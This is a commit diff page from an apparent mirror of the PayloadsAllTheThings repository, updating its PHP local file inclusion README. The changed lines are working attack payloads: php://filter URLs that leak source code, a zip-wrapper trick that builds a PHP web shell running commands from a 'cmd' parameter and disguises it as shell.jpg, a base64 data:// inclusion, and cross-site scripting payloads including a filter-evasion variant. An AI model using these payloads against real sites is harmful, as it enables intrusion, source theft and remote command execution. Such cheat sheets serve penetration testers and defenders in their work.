weyne/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/weyne85/PayloadsAllTheThings.git synced 2025-10-29 16:57:02 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update LFI and XSS

Browse Source
This commit is contained in:
swisskyrepo
2016-10-25 00:15:10 +07:00
parent 28a1d6b10e
commit 3eac989551
2 changed files with 18 additions and 5 deletions
Download Patch File Download Diff File Expand all files Collapse all files

10
PHP include/README.md
View File

@@ -13,15 +13,15 @@ http://example.com/index.php?page=%252e%252e%252f
LFI Wrapper rot13 and base64
```
php://filter/read=string.rot13/resource=
php://filter/convert.base64-encode/resource=
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
```
LFI Wrapper zip
```python
os.system("echo \"</pre><?php system($_GET['cmd']); ?></pre>\" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php")
zip://shell.jpg%23payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
```
@@ -31,9 +31,9 @@ http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbW
```
XSS via RFI/LFI with "<svg onload=alert(1)>" payload
XSS via RFI/LFI with "<svg<svg onload=alert(1)>onload=alert(1)>" payload
```
data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
```
## Thanks to